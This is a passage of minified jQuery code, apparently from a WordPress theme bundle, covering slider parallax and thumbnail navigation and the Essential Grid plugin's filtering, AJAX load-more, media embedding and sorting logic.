j=a.offset().top,n=a.offset().left,g=h.data("enterx"),d=h.data("entery"),m=g-(k.pageX-n),c=d-(k.pageY-j);h.find(".tp-parallax-container").each(function(){var l=a2(this),p=parseInt(l.data("parallaxlevel"),0)/100,f=m*p,o=c*p;if(b.parallax=="scroll+mouse"||b.parallax=="mouse+scroll"){punchgs.TweenLite.to(l,0.4,{force3D:"auto",x:f,ease:punchgs.Power3.easeOut,overwrite:"all"})}else{punchgs.TweenLite.to(l,0.4,{force3D:"auto",x:f,y:o,ease:punchgs.Power3.easeOut,overwrite:"all"})}});break;case"mouseleave":h.find(".tp-parallax-container").each(function(){var f=a2(this);if(b.parallax=="scroll+mouse"||b.parallax=="mouse+scroll"){punchgs.TweenLite.to(f,1.5,{force3D:"auto",x:0,ease:punchgs.Power3.easeOut})}else{punchgs.TweenLite.to(f,1.5,{force3D:"auto",x:0,y:0,ease:punchgs.Power3.easeOut})}});break}});if(aq()){window.ondeviceorientation=function(k){var h=Math.round(k.beta||0),f=Math.round(k.gamma||0);var g=a.find(".current-sr-slide-visible");if(a2(window).width()>a2(window).height()){var j=f;f=h;h=j}var d=360/a.width()*f,c=180/a.height()*h;g.find(".tp-parallax-container").each(function(){var m=a2(this),p=parseInt(m.data("parallaxlevel"),0)/100,o=d*p,l=c*p;punchgs.TweenLite.to(m,0.2,{force3D:"auto",x:o,y:l,ease:punchgs.Power3.easeOut})})}}}if(b.parallax=="scroll"||b.parallax=="scroll+mouse"||b.parallax=="mouse+scroll"){a2(window).on("scroll",function(c){a0(a,b)})}};var a0=function(v,g){if(aq()&&g.parallaxDisableOnMobile=="on"){return false}var b=v.offset().top,j=a2(window).scrollTop(),w=b+v.height()/2,d=b+v.height()/2-j,q=a2(window).height()/2,p=q-d;if(w<q){p=p-(q-w)}var k=v.find(".current-sr-slide-visible");v.find(".tp-parallax-container").each(function(c){var l=a2(this),f=parseInt(l.data("parallaxlevel"),0)/100,a=p*f;l.data("parallaxoffset",a);punchgs.TweenLite.to(l,0.2,{force3D:"auto",y:a,ease:punchgs.Power3.easeOut})});if(g.parallaxBgFreeze!="on"){var h=g.parallaxLevels[0]/100,m=p*h;punchgs.TweenLite.to(v,0.2,{force3D:"auto",y:m,ease:punchgs.Power3.easeOut})}};var aV=function(k,h){var f=k.parent();if(h.navigationType=="thumb"||h.navsecond=="both"){f.append('<div class="tp-bullets tp-thumbs '+h.navigationStyle+'"><div class="tp-mask"><div class="tp-thumbcontainer"></div></div></div>')}var g=f.find(".tp-bullets.tp-thumbs .tp-mask .tp-thumbcontainer");var j=g.parent();j.width(h.thumbWidth*h.thumbAmount);j.height(h.thumbHeight);j.parent().width(h.thumbWidth*h.thumbAmount);j.parent().height(h.thumbHeight);k.find(">ul:first >li").each(function(p){var n=k.find(">ul:first >li:eq("+p+")");var q=n.find(".defaultimg").css("backgroundColor");if(n.data("thumb")!=aK){var m=n.data("thumb")}else{var m=n.find("img:first").attr("src")}g.append('<div class="bullet thumb" style="background-color:'+q+";position:relative;width:"+h.thumbWidth+"px;height:"+h.thumbHeight+"px;background-image:url("+m+') !important;background-size:cover;background-position:center center;"></div>');var l=g.find(".bullet:first")});var d=10;g.find(".bullet").each(function(l){var a=a2(this);if(l==h.slideamount-1){a.addClass("last")}if(l==0){a.addClass("first")}a.width(h.thumbWidth);a.height(h.thumbHeight);if(d<a.outerWidth(true)){d=a.outerWidth(true)}a.click(function(){if(h.transition==0&&a.index()!=h.act){h.next=a.index();a1(h,k)}})});var c=d*k.find(">ul:first >li").length;var b=g.parent().width();h.thumbWidth=d;if(b<c){a2(document).mousemove(function(a){a2("body").data("mousex",a.pageX)});g.parent().mouseenter(function(){var y=a2(this);var m=y.offset(),q=a2("body").data("mousex")-m.left,z=y.width(),n=y.find(".bullet:first").outerWidth(true),x=n*k.find(">ul:first >li").length,w=x-z+15,v=w/z;y.addClass("over");q=q-30;var p=0-q*v;if(p>0){p=0}if(p<0-x+z){p=0-x+z}aB(y,p,200)});g.parent().mousemove(function(){var y=a2(this),m=y.offset(),q=a2("body").data("mousex")-m.left,z=y.width(),n=y.find(".bullet:first").outerWidth(true),x=n*k.find(">ul:first >li").length-1,w=x-z+15,v=w/z;q=q-3;if(q<6){q=0}if(q+3>z-6){q=z}var p=0-q*v;if(p>0){p=0}if(p<0-x+z){p=0-x+z}aB(y,p,0)});g.parent().mouseleave(function(){var a=a2(this);a.removeClass("over");aC(k)})}};var aC=function(k){var q=k.parent().find(".tp-bullets.tp-thumbs .tp-mask .tp-thumbcontainer"),d=q.parent(),b=d.offset(),h=d.find(".bullet:first").outerWidth(true),v=d.find(".bullet.selected").index()*h,c=d.width(),h=d.find(".bullet:first").outerWidth(true),p=h*k.find(">ul:first >li").length,m=p-c,j=m/c,g=0-v;if(g>0){g=0}if(g<0-p+c){g=0-p+c}if(!d.hasClass("over")){aB(d,g,200)}};var aB=function(b,a,c){punchgs.TweenLite.to(b.find(".tp-thumbcontainer"),0.2,{force3D:"auto",left:a,ease:punchgs.Power3.easeOut,overwrite:"auto"})}})(jQuery);(function(jQuery,undefined){function checkAvailableFilters(e,t){}function checkMoreToLoad(e,t){var n=new Array;jQuery(t.filterGroupClass+".esg-filter-wrapper .esg-filterbutton.selected, "+t.filterGroupClass+" .esg-filter-wrapper .esg-filterbutton.selected").each(function(){n.push(jQuery(this).data("fid"))});if(jQuery(t.filterGroupClass+".esg-filter-wrapper .esg-filterbutton.selected, "+t.filterGroupClass+" .esg-filter-wrapper .esg-filterbutton.selected").length==0){n.push(-1)}var r=new Array;for(var i=0;i<t.loadMoreItems.length;i++){jQuery.each(t.loadMoreItems[i][1],function(e,s){jQuery.each(n,function(e,n){if(n==s&&t.loadMoreItems[i][0]!=-1){r.push(t.loadMoreItems[i])}})})}return r}function buildLoader(e,t){if(e.find(".esg-loader").length>0){return false}e.append('<div class="esg-loader '+t.spinner+'"><div class="dot1"></div><div class="dot2"></div><div class="punchgs.Bounce1"></div><div class="punchgs.Bounce2"></div><div class="punchgs.Bounce3"></div></div>');if(t.spinner=="spinner1"||t.spinner=="spinner2"){e.find(".esg-loader").css({backgroundColor:t.spinnerColor})}if(t.spinner=="spinner3"||t.spinner=="spinner4"){e.find(".punchgs.Bounce1, .punchgs.Bounce2, .punchgs.Bounce3, .dot1, .dot2").css({backgroundColor:t.spinnerColor})}punchgs.TweenLite.to(e,0.3,{minHeight:"100px",zIndex:0})}function setKeyToNull(e,t){jQuery.each(e.loadMoreItems,function(n,r){if(r[0]==t){e.loadMoreItems[n][0]=-1}})}function loadMoreEmpty(e){var t=true;for(var n=0;n<e.loadMoreItems.length;n++){if(e.loadMoreItems[n][0]!=-1){t=false}}return t}function loadMoreItems(e,t){var n=checkMoreToLoad(e,t);var r=new Array;jQuery.each(n,function(e,n){if(r.length<t.loadMoreAmount){r.push(n[0]);setKeyToNull(t,n[0])}});var i=checkMoreToLoad(e,t).length;if(r.length>0){var s=e.find(".esg-loadmore");if(s.length>0){punchgs.TweenLite.to(s,0.4,{autoAlpha:0.2});s.data("loading",1)}var o={action:t.loadMoreAjaxAction,client_action:"load_more_items",token:t.loadMoreAjaxToken,data:r,gridid:t.gridID};jQuery.ajax({type:"post",url:t.loadMoreAjaxUrl,dataType:"json",data:o}).success(function(n,r,s){if(n.success){e.find("ul").first().append(n.data);checkAvailableFilters(e,t);prepareItemsInGrid(t,true);setItemsOnPages(t);setTimeout(function(){t.animDelay="off";organiseGrid(t);prepareSortingAndOrders(e);if(loadMoreEmpty(t)){e.find(".esg-loadmore").remove()}else{var n=e.find(".esg-loadmore"),r=t.loadMoreTxt+" ("+i+")";if(t.loadMoreNr=="off"){r=t.loadMoreTxt}if(i==0){n.html(t.loadMoreEndTxt)}else{n.html(r)}if(n.length>0){punchgs.TweenLite.to(n,0.4,{autoAlpha:1,overwrite:"all"});n.data("loading",0)}}setTimeout(function(){t.animDelay="on"},500)},10)}}).error(function(t,n,r){e.find(".esg-loadmore").html("FAILURE: "+n)})}else{if(loadMoreEmpty(t)){e.find(".esg-loadmore").remove()}else{e.find(".esg-loadmore").html(t.loadMoreEndTxt)}}}function killOldCustomAjaxContent(e){var t=e.data("lastposttype"),n=e.data("oldajaxsource"),r=e.data("oldajaxtype"),i=e.data("oldajaxvideoaspect"),s=e.data("oldselector");if(t!=undefined&&t!=""){try{jQuery.each(jQuery.fn.tpessential.defaults.ajaxTypes,function(o,u){if(u!=undefined&&u.type!=undefined){if(u.type==t&&u.killfunc!=undefined){setTimeout(function(){if(u.killfunc.call(this,{id:n,type:r,aspectratio:i,selector:s})){e.empty()}},250)}}})}catch(o){console.log(o)}}e.data("lastposttype","")}function addAjaxNavigagtion(e,t){function n(e){var t=new Array;jQuery.each(e,function(e,n){if(jQuery(n).closest(".itemtoshow.isvisiblenow").length>0){t.push(n)}});return t}var r=" eg-acp-"+e.ajaxClosePosition;r=r+" eg-acp-"+e.ajaxCloseStyle,r=r+" eg-acp-"+e.ajaxCloseType,loc="eg-icon-left-open-1",roc="eg-icon-right-open-1",xoc='<i class="eg-icon-cancel"></i>';if(e.ajaxCloseType=="type1"){loc="eg-icon-left-open-big";roc="eg-icon-right-open-big";e.ajaxCloseTxt="";xoc="X"}if(e.ajaxCloseInner=="true"||e.ajaxCloseInner==true){r=r+" eg-acp-inner"}var i='<div class="eg-ajax-closer-wrapper'+r+'">';if(e.ajaxClosePosition=="tr"||e.ajaxClosePosition=="br"){if(e.ajaxNavButton=="on"){i=i+'<div class="eg-ajax-left eg-ajax-navbt"><i class="'+loc+'"></i></div><div class="eg-ajax-right eg-ajax-navbt"><i class="'+roc+'"></i></div>'}if(e.ajaxCloseButton=="on"){i=i+'<div class="eg-ajax-closer eg-ajax-navbt">'+xoc+e.ajaxCloseTxt+"</div>"}}else{if(e.ajaxCloseButton=="on"){i=i+'<div class="eg-ajax-closer eg-ajax-navbt">'+xoc+e.ajaxCloseTxt+"</div>"}if(e.ajaxNavButton=="on"){i=i+'<div class="eg-ajax-left eg-ajax-navbt"><i class="'+loc+'"></i></div><div class="eg-ajax-right eg-ajax-navbt"><i class="'+roc+'"></i></div>'}}i=i+"</div>";switch(e.ajaxClosePosition){case"tl":case"tr":case"t":t.prepend(i);break;case"bl":case"br":case"b":t.append(i);break}t.find(".eg-ajax-closer").click(function(){showHideAjaxContainer(t,false,null,null,0.25,true)});t.find(".eg-ajax-right").click(function(){var e=t.data("container").find(".lastclickedajax").closest("li"),r=e.nextAll().find(".eg-ajax-a-button"),i=e.prevAll().find(".eg-ajax-a-button");r=n(r);i=n(i);if(r.length>0){r[0].click()}else{i[0].click()}});t.find(".eg-ajax-left").click(function(){var e=t.data("container").find(".lastclickedajax").closest("li"),r=e.nextAll().find(".eg-ajax-a-button"),i=e.prevAll().find(".eg-ajax-a-button");r=n(r);i=n(i);if(i.length>0){i[i.length-1].click()}else{r[r.length-1].click()}})}function showHideAjaxContainer(e,t,n,r,i,s){i=i==undefined?0.25:i;var o=e.data("container").data("opt"),u=e.data("lastheight")!=undefined?e.data("lastheight"):"100px";if(!t){if(s){killOldCustomAjaxContent(e);u="0px"}punchgs.TweenLite.to(e.parent(),i,{height:u,ease:punchgs.Power2.easeInOut,onStart:function(){punchgs.TweenLite.to(e,i,{autoAlpha:0,ease:punchgs.Power3.easeOut})},onComplete:function(){setTimeout(function(){if(s){e.html("")}},300)}})}else{i=i+1.2;addAjaxNavigagtion(o,e);punchgs.TweenLite.set(e,{height:"auto"});punchgs.TweenLite.set(e.parent(),{minHeight:0,maxHeight:"none",height:"auto",overwrite:"all"});punchgs.TweenLite.from(e,i,{height:u,ease:punchgs.Power3.easeInOut,onStart:function(){punchgs.TweenLite.to(e,i,{autoAlpha:1,ease:punchgs.Power3.easeOut})},onComplete:function(){e.data("lastheight",e.height());jQuery(window).trigger("resize.essg");if(e.find(".eg-ajax-closer-wrapper").length==0){addAjaxNavigagtion(o,e)}}});if(o.ajaxScrollToOnLoad!="off"){jQuery("html, body").animate({scrollTop:e.offset().top-r},{queue:false,speed:0.5})}}}function removeLoader(e){e.closest(".eg-ajaxanimwrapper").find(".esg-loader").remove()}function ajaxCallBack(opt,a){if(opt.ajaxCallback==undefined||opt.ajaxCallback==""||opt.ajaxCallback.length<3){return false}var splitter=opt.ajaxCallback.split(")"),splitter=splitter[0].split("("),callback=splitter[0],arguments=splitter.length>1&&splitter[1]!=""?splitter[1]+",":"",obj=new Object;try{obj.containerid="#"+opt.ajaxContentTarget,obj.postsource=a.data("ajaxsource"),obj.posttype=a.data("ajaxtype");if(opt.ajaxCallbackArgument=="on"){eval(callback+"("+arguments+"obj)")}else{eval(callback+"("+arguments+")")}}catch(e){console.log("Callback Error");console.log(e)}}function loadMoreContent(e,t,n){e.find(".lastclickedajax").removeClass("lastclickedajax");n.addClass("lastclickedajax");var r=jQuery("#"+t.ajaxContentTarget).find(".eg-ajax-target"),i=n.data("ajaxsource"),s=n.data("ajaxtype"),o=n.data("ajaxvideoaspect");r.data("container",e);if(o=="16:9"){o="widevideo"}else{o="normalvideo"}showHideAjaxContainer(r,false);if(r.length>0){if(t.ajaxJsUrl!=undefined&&t.ajaxJsUrl!=""&&t.ajaxJsUrl.length>3){jQuery.getScript(t.ajaxJsUrl).done(function(e,n){t.ajaxJsUrl=""}).fail(function(e,n,r){console.log("Loading Error on Ajax jQuery File. Please doublecheck if JS File and Path exist:"+t.ajaxJSUrl);t.ajaxJsUrl=""})}if(t.ajaxCssUrl!=undefined&&t.ajaxCssUrl!=""&&t.ajaxCssUrl.length>3){jQuery("<link>").appendTo("head").attr({type:"text/css",rel:"stylesheet"}).attr("href",t.ajaxCssUrl);t.ajaxCssUrl==""}buildLoader(r.closest(".eg-ajaxanimwrapper"),t);if(r.data("ajaxload")!=undefined){r.data("ajaxload").abort()}killOldCustomAjaxContent(r);switch(s){case"postid":var u={action:t.loadMoreAjaxAction,client_action:"load_more_content",token:t.loadMoreAjaxToken,postid:i};setTimeout(function(){r.data("ajaxload",jQuery.ajax({type:"post",url:t.loadMoreAjaxUrl,dataType:"json",data:u}));r.data("ajaxload").success(function(e,i,s){if(e.success){jQuery(r).html(e.data);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);removeLoader(r);ajaxCallBack(t,n)}});r.data("ajaxload").error(function(e,t,n){if(t!="abort"){jQuery(r).append("<p>FAILURE: <strong>"+t+"</strong></p>");removeLoader(r)}})},300);break;case"youtubeid":setTimeout(function(){r.html('<div class="eg-ajax-video-container '+o+'"><iframe width="560" height="315" src="//www.youtube.com/embed/'+i+'?autoplay=1&vq=hd1080" frameborder="0" allowfullscreen></iframe></div>');removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);ajaxCallBack(t,n)},300);break;case"vimeoid":setTimeout(function(){r.html('<div class="eg-ajax-video-container '+o+'"><iframe src="//player.vimeo.com/video/'+i+'?portrait=0&autoplay=1" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>');removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);ajaxCallBack(t,n)},300);break;case"html5vid":i=i.split("|");setTimeout(function(){r.html('<video autoplay="true" loop="" class="rowbgimage" poster="" width="100%" height="auto"><source src="'+i[0]+'" type="video/mp4"><source src="'+i[1]+'" type="video/webm"><source src="'+i[2]+'" type="video/ogg"></video>');removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);ajaxCallBack(t,n)},300);break;case"soundcloud":case"soundcloudid":setTimeout(function(){r.html('<iframe width="100%" height="250" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/'+i+'&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&visual=true"></iframe>');removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);ajaxCallBack(t,n)},300);break;case"imageurl":setTimeout(function(){var e=new Image;e.onload=function(){var e=jQuery(this);r.html("");e.css({width:"100%",height:"auto"});r.append(jQuery(this));removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset);ajaxCallBack(t,n)};e.onerror=function(e){r.html("Error");removeLoader(r);showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset)};e.src=i},300);break;default:jQuery.each(jQuery.fn.tpessential.defaults.ajaxTypes,function(e,n){if(n.openAnimationSpeed==undefined){n.openAnimationSpeed=0}if(n!=undefined&&n.type!=undefined){if(n.type==s){setTimeout(function(){r.data("lastposttype",s);r.data("oldajaxsource",i);r.data("oldajaxtype",s);r.data("oldajaxvideoaspect",o);r.data("oldselector","#"+t.ajaxContentTarget+" .eg-ajax-target");showHideAjaxContainer(r,true,t.ajaxScrollToOnLoad,t.ajaxScrollToOffset,0);r.html(n.func.call(this,{id:i,type:s,aspectratio:o}));removeLoader(r)},300)}}});break}}}function mainPreparing(e,t){var n=e.find(".eg-leftright-container");var r=getBestFitColumn(t,jQuery(window).width(),"id");t.column=r.column;t.columnindex=r.index;prepareItemsInGrid(t);organiseGrid(t);jQuery(t.filterGroupClass+".esg-filter-wrapper,"+t.filterGroupClass+" .esg-filter-wrapper").each(function(e){var t=jQuery(this);if(t.hasClass("dropdownstyle")){t.find(".esg-filter-checked").each(function(){jQuery(this).prependTo(jQuery(this).parent())});if(!is_mobile()){t.hover(function(){var e=jQuery(this).closest(".esg-filter-wrapper");e.find(".esg-selected-filterbutton").addClass("hoveredfilter");e.find(".esg-dropdown-wrapper").stop().slideDown(200)},function(){var e=jQuery(this).closest(".esg-filter-wrapper");e.find(".esg-selected-filterbutton").removeClass("hoveredfilter");e.find(".esg-dropdown-wrapper").stop().slideUp(200)})}else{t.find(".esg-selected-filterbutton").click(function(){var e=t.find(".esg-selected-filterbutton");if(e.hasClass("hoveredfilter")){setTimeout(function(){e.removeClass("hoveredfilter")},200);t.find(".esg-dropdown-wrapper").stop().slideUp(200);punchgs.TweenLite.to(t.find(".eg-icon-down-open"),0.3,{scaleY:1})}else{setTimeout(function(){e.addClass("hoveredfilter")},200);t.find(".esg-dropdown-wrapper").stop().slideDown(200);punchgs.TweenLite.to(t.find(".eg-icon-down-open"),0.3,{scaleY:-1})}})}}});jQuery(t.filterGroupClass+".esg-left,"+t.filterGroupClass+" .esg-left").click(function(){t=getOptions(e);t.oldpage=t.currentpage;t.currentpage--;if(t.currentpage<0){t.currentpage=t.realmaxpage-1}var n=getBestFitColumn(t,jQuery(window).width(),"id");t.column=n.column;t.columnindex=n.index;setItemsOnPages(t);organiseGrid(t,"right");setOptions(e,t);stopAllVideos(true)});jQuery(t.filterGroupClass+".esg-right,"+t.filterGroupClass+" .esg-right").click(function(){t=getOptions(e);t.oldpage=t.currentpage;t.currentpage++;if(t.currentpage>=t.realmaxpage){t.currentpage=0}var n=getBestFitColumn(t,jQuery(window).width(),"id");t.column=n.column;t.columnindex=n.index;setItemsOnPages(t);organiseGrid(t,"right");setOptions(e,t);stopAllVideos(true)});jQuery(t.filterGroupClass+".esg-filterbutton, "+t.filterGroupClass+" .esg-filterbutton").each(function(){if(!jQuery(this).hasClass("esg-pagination-button")){jQuery(this).click(function(){var t=getOptions(e);stopAllVideos(true);var n=jQuery(this);if(!n.hasClass("esg-pagination-button")){jQuery(t.filterGroupClass+".esg-allfilter, "+t.filterGroupClass+" .esg-allfilter").removeClass("selected");if(n.hasClass("esg-allfilter")){jQuery(t.filterGroupClass+".esg-filterbutton, "+t.filterGroupClass+" .esg-filterbutton").each(function(){jQuery(this).removeClass("selected")})}}if(n.closest(".esg-filters").hasClass("esg-singlefilters")||t.filterType=="single"){jQuery(t.filterGroupClass+".esg-filterbutton, "+t.filterGroupClass+" .esg-filterbutton").each(function(){jQuery(this).removeClass("selected")});n.addClass("selected")}else{if(n.hasClass("selected")){n.removeClass("selected")}else{n.addClass("selected")}}var r=0;jQuery(t.filterGroupClass+".esg-filterbutton.selected,"+t.filterGroupClass+" .esg-filterbutton.selected").each(function(){if(jQuery(this).hasClass("selected")&&!jQuery(this).hasClass("esg-pagination-button")){r++}});if(r==0){jQuery(t.filterGroupClass+".esg-allfilter,"+t.filterGroupClass+" .esg-allfilter").addClass("selected")}t.filterchanged=true;t.currentpage=0;if(t.maxpage==1){jQuery(t.filterGroupClass+".navigationbuttons,"+t.filterGroupClass+" .navigationbuttons").css({display:"none"});jQuery(t.filterGroupClass+".esg-pagination,"+t.filterGroupClass+" .esg-pagination").css({display:"none"})}else{jQuery(t.filterGroupClass+".navigationbuttons,"+t.filterGroupClass+" .navigationbuttons").css({display:"inline-block"});jQuery(t.filterGroupClass+".esg-pagination,"+t.filterGroupClass+" .esg-pagination").css({display:"inline-block"})}var i=e.find(".esg-loadmore");if(i.length>0){var s=checkMoreToLoad(e,t).length;if(s>0){i.html(t.loadMoreTxt+" ("+s+")")}else{i.html(t.loadMoreEndTxt)}}setItemsOnPages(t);organiseGrid(t);setOptions(e,t)})}});var i;jQuery(window).on("resize.essg",function(){clearTimeout(i);if(t.forceFullWidth=="on"||t.forceFullScreen=="on"){var r=e.parent().parent().find(".esg-relative-placeholder").offset().left;e.closest(".esg-container-fullscreen-forcer").css({left:0-r,width:jQuery(window).width()})}else{e.closest(".esg-container-fullscreen-forcer").css({left:0,width:"auto"})}if(n.length>0){var s=n.outerWidth(true);punchgs.TweenLite.set(e.find(".esg-overflowtrick"),{width:e.width()-s,overwrite:"all"})}var o=getBestFitColumn(t,jQuery(window).width(),"id");t.column=o.column;t.columnindex=o.index;setOptions(e,t);i=setTimeout(function(){t=getOptions(e);setItemsOnPages(t);organiseGrid(t);setOptions(e,t)},200)});e.on("itemsinposition",function(){var e=jQuery(this);var t=getOptions(e);var n=e.find(".eg-leftright-container");clearTimeout(e.data("callednow"));if(t.maxheight>0&&t.maxheight<9999999999){t.inanimation=false;var r=e.find(".esg-overflowtrick").first();var i=e.find("ul").first();var n=e.find(".eg-leftright-container");var s=parseInt(r.css("paddingTop"),0);s=s==undefined?0:s;s=s==null?0:s;var o=parseInt(r.css("paddingBottom"),0);o=o==undefined?0:o;o=o==null?0:o;var u=t.maxheight+t.overflowoffset+s+o;if(t.forceFullScreen=="on"){var a=jQuery(window).height();if(t.fullScreenOffsetContainer!=undefined){try{var f=t.fullScreenOffsetContainer.split(",");jQuery.each(f,function(e,n){a=a-jQuery(n).outerHeight(true);if(a<t.minFullScreenHeight){a=t.minFullScreenHeight}})}catch(l){}}u=a}var c=0.3;if(i.height()<200){c=1}punchgs.TweenLite.to(i,c,{force3D:"auto",height:u,ease:punchgs.Power3.easeInOut,clearProps:"transform"});punchgs.TweenLite.to(r,c,{force3D:true,height:u,ease:punchgs.Power3.easeInOut,clearProps:"transform"});if(n.length>0){punchgs.TweenLite.set(n,{minHeight:u,ease:punchgs.Power3.easeInOut})}var h=jQuery(t.filterGroupClass+".esg-navbutton-solo-left,"+t.filterGroupClass+" .esg-navbutton-solo-left");var p=jQuery(t.filterGroupClass+".esg-navbutton-solo-right,"+t.filterGroupClass+" .esg-navbutton-solo-right");if(h.length>0){h.css({marginTop:0-h.height()/2})}if(p.length>0){p.css({marginTop:0-p.height()/2})}}e.data("callednow",setTimeout(function(){e.find(".itemtoshow.isvisiblenow").each(function(){hideUnderElems(jQuery(this))})},250))});prepareSortingAndOrders(e);prepareSortingClicks(e)}function prepareSortingAndOrders(e){var t=getOptions(e);e.find(".tp-esg-item").each(function(){var e=new Date(jQuery(this).data("date"));jQuery(this).data("date",e.getTime()/1000)});jQuery(t.filterGroupClass+".esg-sortbutton-order,"+t.filterGroupClass+" .esg-sortbutton-order").each(function(){var e=jQuery(this);e.removeClass("tp-desc").addClass("tp-asc");e.data("dir","asc")})}function prepareSortingClicks(e){opt=getOptions(e);var t;jQuery(opt.filterGroupClass+".esg-sortbutton-wrapper .esg-sortbutton-order,"+opt.filterGroupClass+" .esg-sortbutton-wrapper .esg-sortbutton-order").click(function(){var n=jQuery(this);if(n.hasClass("tp-desc")){n.removeClass("tp-desc").addClass("tp-asc");n.data("dir","asc")}else{n.removeClass("tp-asc").addClass("tp-desc");n.data("dir","desc")}var r=n.data("dir");stopAllVideos(true,true);jQuery(opt.filterGroupClass+".esg-sorting-select,"+opt.filterGroupClass+" .esg-sorting-select").each(function(){var n=jQuery(this).val();clearTimeout(t);e.find(".tp-esg-item").tsort({data:n,forceStrings:"false",order:r});t=setTimeout(function(){opt=getOptions(e);setItemsOnPages(opt);organiseGrid(opt);setOptions(e,opt)},200)})});jQuery(opt.filterGroupClass+".esg-sorting-select,"+opt.filterGroupClass+" .esg-sorting-select").each(function(){var n=jQuery(this);n.change(function(){e.find("iframe").css({visibility:"hidden"});e.find(".video-eg").css({visibility:"hidden"});var r=jQuery(this).closest(".esg-sortbutton-wrapper").find(".esg-sortbutton-order");var i=n.val();var s=n.find("option:selected").text();var o=r.data("dir");stopAllVideos(true,true);clearTimeout(t);n.parent().parent().find(".sortby_data").text(s);e.find(".tp-esg-item").tsort({data:i,forceStrings:"false",order:o});t=setTimeout(function(){opt=getOptions(e);setItemsOnPages(opt);organiseGrid(opt);setOptions(e,opt)},500)})})}function fixCenteredCoverElement(e,t,n){if(t==undefined){t=e.find(".esg-entry-cover")}if(n==undefined){n=e.find(".esg-entry-media")}if(t&&n){var r=n.height();punchgs.TweenLite.set(t,{height:r});var i=e.find(".esg-cc");punchgs.TweenLite.set(i,{top:(r-i.height())/2})}}function getBestFitColumn(e,t,n){var r=t,i=0,s=9999,o=0,u=e.column,a=e.column,f=e.column,l=0,c=0;if(e.responsiveEntries!=undefined&&e.responsiveEntries.length>0){jQuery.each(e.responsiveEntries,function(e,t){var n=t.width!=undefined?t.width:0,a=t.amount!=undefined?t.amount:0;if(s>n){s=n;u=a;c=e}if(o<n){o=n;lamount=a}if(n>i&&n<=r){i=n;f=a;l=e}})}if(s>t){f=u;l=c}var h=new Object;h.index=l;h.column=f;if(n=="id"){return h}else{return f}}function getOptions(e){return e.data("opt")}function setOptions(e,t){e.data("opt",t)}function checkMediaListeners(e){e.find("iframe").each(function(e){var t=jQuery(this);if(t.attr("src").toLowerCase().indexOf("youtube")>0){prepareYT(t)}else{if(t.attr("src").toLowerCase().indexOf("vimeo")>0){prepareVimeo(t)}else{if(t.attr("src").toLowerCase().indexOf("soundcloud")>0){prepareSoundCloud(t)}}}});e.find("video").each(function(e){prepareVideo(jQuery(this))})}function waitMediaListeners(e){var t=setInterval(function(){e.find("iframe").each(function(e){var n=jQuery(this);if(n.attr("src").toLowerCase().indexOf("youtube")>0){if(prepareYT(n)){clearInterval(t)}}else{if(n.attr("src").toLowerCase().indexOf("vimeo")>0){if(prepareVimeo(n)){clearInterval(t)}}else{if(n.attr("src").toLowerCase().indexOf("soundcloud")>0){if(prepareSoundCloud(n)){clearInterval(t)}}else{clearInterval(t)}}}});e.find("video").each(function(e){if(prepareVideo(jQuery(this))){clearInterval(t)}})},50)}function directionPrepare(e,t,n,r,i){var s=new Object;switch(e){case 0:s.x=0;s.y=t=="in"?0-r:10+r;s.y=i&&t=="in"?s.y-5:s.y;break;case 1:s.y=0;s.x=t=="in"?n:-10-n;s.x=i&&t=="in"?s.x+5:s.x;break;case 2:s.y=t=="in"?r:-10-r;s.x=0;s.y=i&&t=="in"?s.y+5:s.y;break;case 3:s.y=0;s.x=t=="in"?0-n:10+n;s.x=i&&t=="in"?s.x-5:s.x;break}return s}function getDir(e,t){var n=e.width(),r=e.height(),i=(t.x-e.offset().left-n/2)*(n>r?r/n:1),s=(t.y-e.offset().top-r/2)*(r>n?n/r:1),o=Math.round((Math.atan2(s,i)*(180/Math.PI)+180)/90+3)%4;return o}function hideUnderElems(e){e.find(".eg-handlehideunder").each(function(){var t=jQuery(this);var n=t.data("hideunder"),r=t.data("hideunderheight"),i=t.data("hidetype");if(t.data("knowndisplay")==undefined){t.data("knowndisplay",t.css("display"))}if(e.width()<n&&n!=undefined||e.height()<r&&r!=undefined){if(i=="visibility"){t.addClass("forcenotvisible")}else{if(i=="display"){t.addClass("forcenotdisplay")}}}else{if(i=="visibility"){t.removeClass("forcenotvisible")}else{if(i=="display"){t.removeClass("forcenotdisplay")}}}})}function offsetParrents(e,t){var n=t.closest(".mainul"),r=n.parent();if(t.position().top+t.height()>n.height()+40||e==0||n.data("bh")!=0&&n.data("bh")!=undefined&&t.position().top+t.height()>parseInt(n.data("bh"),0)+40){if(n.data("bh")==undefined||n.data("bh")==0){n.data("bh",n.height())}if(r.data("bh")==undefined||r.data("bh")==0){r.data("bh",r.height())}var i=n.data("bh"),s=r.data("bh");if(e!=0){n.data("alreadyinoff",false);punchgs.TweenLite.to(n,0.2,{height:i+e});punchgs.TweenLite.to(r,0.2,{height:s+e})}else{if(!n.data("alreadyinoff")){n.data("alreadyinoff",true);punchgs.TweenLite.to(n,0.3,{height:i,ease:punchgs.Power3.easeIn,onComplete:function(){n.data("bh",0);r.data("bh",0);n.data("alreadyinoff",false)}});punchgs.TweenLite.to(r,0.3,{height:s,ease:punchgs.Power3.easeIn,onComplete:function(){n.data("bh",0);r.data("bh",0);n.data("alreadyinoff",false)}})}}}}function itemHoverAnim(e,t,n,r){if(e.data("simplevideo")!=1){checkMediaListeners(e)}var i=false;var s=e.find(".esg-media-poster");if(s.length>0){if(s.css("opacity")==0){i=true}}if(e.find(".isplaying, .isinpause").length>0||i){return false}clearTimeout(e.data("hovertimer"));var 